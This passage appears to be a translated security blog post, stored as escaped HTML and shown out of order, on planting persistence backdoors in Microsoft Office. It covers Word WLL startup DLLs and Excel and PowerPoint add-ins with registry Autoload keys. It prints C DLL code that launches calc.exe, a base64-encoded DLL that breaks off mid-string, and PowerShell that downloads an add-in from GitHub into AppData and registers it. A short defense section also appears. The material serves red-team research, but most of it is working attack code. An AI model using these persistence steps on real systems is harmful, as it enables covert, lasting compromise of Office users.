Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\PowerPoint\u003C\u002Fp>\u003Cp>Create new key AddIns, create subkey calc (corresponding to calc.ppa)\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>Create string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>Launch PowerPoint.exe, calculator pops up, and PowerPoint starts normally\u003C\u002Fp>\u003Ch3>2. Write PowerShell script to implement\u003C\u002Fh3>\u003Cp>Save path as:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\\calc.ppa\u003C\u002Fp>\u003Cp>Corresponding PowerShell code is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Registry path: HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\PowerPoint\\\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )     \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\" \u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Create key AddIns:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003C\u002Fp>\u003Cp>Create key calc:\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003C\u002Fp>\u003Cp>Create DWORD value: Autoload: 1\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003C\u002Fp>\u003Cp>Create a new string value: Path: calc.ppa\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$client = new-object System.Net.WebClient\u003Cbr>$client.DownloadFile(\"https:\u002F\u002Fraw.githubusercontent.com\u002F3gstudent\u002FOffice-Persistence\u002Fmaster\u002Fcalc.ppa\",$env:APPDATA+\"\\Microsoft\\AddIns\\calc.ppa\")\u003Cbr>\u003Cbr>Try\u003Cbr>{\u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop\u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 )\u003Cbr>}\u003Cbr>Catch\u003Cbr>{\u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\"\u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"\u003Cbr>    return \u003Cbr>}  \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003Cbr>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\PowerPoint\\\"\u003Cbr>\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\" | Out-Null\u003Cbr>New-Item -type Directory $ExcelRegPath\"AddIns\\calc\" | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Autoload -value \"1\" -propertyType DWORD | Out-Null\u003Cbr>New-ItemProperty $ExcelRegPath\"AddIns\\calc\" Path -value \"calc.ppa\" -propertyType string | Out-Null\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>I have integrated and uploaded the exploitation scripts for the above four methods to GitHub at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x06 Detection and Defense\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1、Word\u003C\u002Fh3>\u003Cp>Disable all add-ins, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017328633_2_a98dbf3219.jpeg\">\u003C\u002Fp>\u003Cp>Disable all controls, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017379814_3_ccab67607a.jpeg\">\u003C\u002Fp>\u003Cp>Disable all macros, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017400902_4_64727c3162.jpeg\">\u003C\u002Fp>\u003Cp>Word WLL can still execute\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Delete trusted locations:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017447492_5_d1e710face.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Do not use environment variable %appdata% when adding\u003C\u002Fp>\u003Ch3>2. Excel\u003C\u002Fh3>\u003Cp>Excel XLL and Excel VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch3>3、PowerPoint\u003C\u002Fh3>\u003Cp>PowerPoint VBA add-ins:\u003C\u002Fp>\u003Cp>\u003Cstrong>Defense methods:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Disable all add-ins\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces four common backdoor exploitation methods in Word, Excel, and PowerPoint under the x86 system, provides open-source POC scripts for testing, and finally, from a defensive perspective, details specific defense methods. The exploitation methods for x64 systems can be appropriately modified.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On the Windows platform, Microsoft Office has a very high adoption rate. From an attacker's perspective, it is common to choose to implant backdoors in Office software.\u003C\u002Fp>\u003Cp>I came across a blog post detailing various methods for exploiting Office backdoors. I researched and tested these methods, selected the more universal and stealthy ones, and wrote a POC script to automate the exploitation.\u003C\u002Fp>\u003Cp>\u003Cstrong>Blog post URL:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>https:\u002F\u002Flabs.mwrinfosecurity.com\u002Fblog\u002Fadd-in-opportunities-for-office-persistence\u002F\u003C\u002Fp>\u003Cp>Author: William Knowles@william_knows\u003C\u002Fp>\u003Cp>\u003Cstrong>POC:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x01 Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Four backdoor exploitation methods for Word, Excel, and PowerPoint\u003C\u002Fli>\u003Cli>Writing a PowerShell script to automate the exploitation\u003C\u002Fli>\u003Cli>Compare advantages and disadvantages, analyze defense methods\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Word WLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual testing\u003C\u002Fh3>\u003Cp>Development tool: VC6.0\u003C\u002Fp>\u003Cp>Create a new DLL project, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule,\u003Cbr>                       DWORD  ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>            MessageBox(NULL,\"hello world，I'm 3kb\",\"title\",MB_OK);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into msg.dll, apply the following settings to reduce the compiled file size:\u003C\u002Fp>\u003Cul>\u003Cli>Build: release\u003C\u002Fli>\u003Cli>Add code: #pragma comment(linker,\"\u002FOPT:nowin98\")\u003C\u002Fli>\u003Cli>Project Settings -> Win32 Release -> C\u002FC++ -> Code Generation -> Use run-time library: -> Multithreaded DLL\u003C\u002Fli>\u003C\u002Ful>\u003Cp>After optimization, the dll size is 3kb\u003C\u002Fp>\u003Cp>Rename to msg.wll, save to the following path:\u003C\u002Fp>\u003Cp>C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, a dialog box pops up, the interface freezes, Word cannot run normally; after closing the pop-up dialog, Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017276519_0_6f8a9bd8b2-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The DLL generated by Metasploit's msfvenom will cause the Word program to crash\u003C\u002Fp>\u003Cp>Modify the C code to implement launching the calculator, the code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>BOOL APIENTRY DllMain( HANDLE hModule, \u003Cbr>                       DWORD  ul_reason_for_call, \u003Cbr>                       LPVOID lpReserved\u003Cbr>\t\t\t\t\t )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>\t{\u003Cbr>\t\tcase DLL_PROCESS_ATTACH:\u003Cbr>\t\t\tWinExec(\"calc.exe\",SW_SHOWNORMAL);\u003Cbr>\t\tcase DLL_THREAD_ATTACH:\u003Cbr>\t\tcase DLL_THREAD_DETACH:\u003Cbr>\t\tcase DLL_PROCESS_DETACH:\u003Cbr>\t\t\tbreak;\u003Cbr>    }return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compiled into calc.dll, optimized size is 3KB\u003C\u002Fp>\u003Cp>Rename to calc.wll, save in path C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\u003C\u002Fp>\u003Cp>Launch Word.exe, calculator pops up, and Word starts normally\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017303978_1_7a1b0f2ee0-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Startup path can store multiple wll files, supports launching multiple wlls\u003C\u002Fp>\u003Ch3>2. Implement with PowerShell script\u003C\u002Fh3>\u003Cp>PowerShell code corresponding to wll path:\u003C\u002Fp>\u003Cp>$env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\"\u003C\u002Fp>\u003Cp>Base64 encode the compiled 3KB calc.dll and store in variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | set-content (\"calcdllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtained\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003C\u002Fp>\u003Cp>Store the base64-encoded calc.dll in variable $fileContent\u003C\u002Fp>\u003Cp>The code to base64 decode and release calc.wll to the Startup path is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC1TSnZ8SxHivEsR4rxLEeKGTNNivUsR4oZM0OK8yxHivEsRor2LEeKkzNUivIsR4oZM0yK8yxHilJpY2jxLEeKAAAAAAAAAABQRQAATAEEAH4YaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAMYAAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAItEJAhIdQ1qAWgQMAAQ\u002FxUAIAAQuAEAAADCDACQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6OX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAACjAQMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA